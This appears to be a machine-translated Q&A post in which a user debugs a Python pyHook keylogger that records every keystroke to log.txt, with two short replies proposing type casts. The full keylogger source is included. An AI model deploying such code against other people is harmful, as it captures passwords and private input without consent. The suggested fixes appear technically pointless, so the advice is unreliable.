Ich schrieb einen Keylogger, aber es druckt nicht richtig. Wenn ich es erzähle, das Ereignis zu drucken, ASCII-decodiert (print(event.Ascii)
), druckt es den numerischen ASCII-Wert für diesen Schlüssel aus. Aber wenn ich es erzähle print(chr(event.Ascii))
druckt es nur eine leere Zeile. Warum ist das und wie repariere ich es?ASCII chr() druckt nichts
Voll Code:
import pyHook, pythoncom, sys, logging
file_log = "log.txt"
def OnKeyboardEvent(event):
logging.basicConfig(filename=file_log, level=logging.DEBUG,format='%(message)s')
chr(event.Ascii)
logging.log(10, chr(event.Ascii))
print(chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
Versuchen Sie 'print (chr (int (event.Ascii)))'. –
Das bringt einige Fortschritte. Ich habe mit der Enter-Taste, der Leertaste und der A-Taste getestet und alle haben eine kleine Box zurückgegeben, die wie eine kleinere Version aussieht: [] – doejs
Probiere 'print (chr (int (str (event.Ascii)))) '. Ich hätte das vorher vorschlagen sollen. –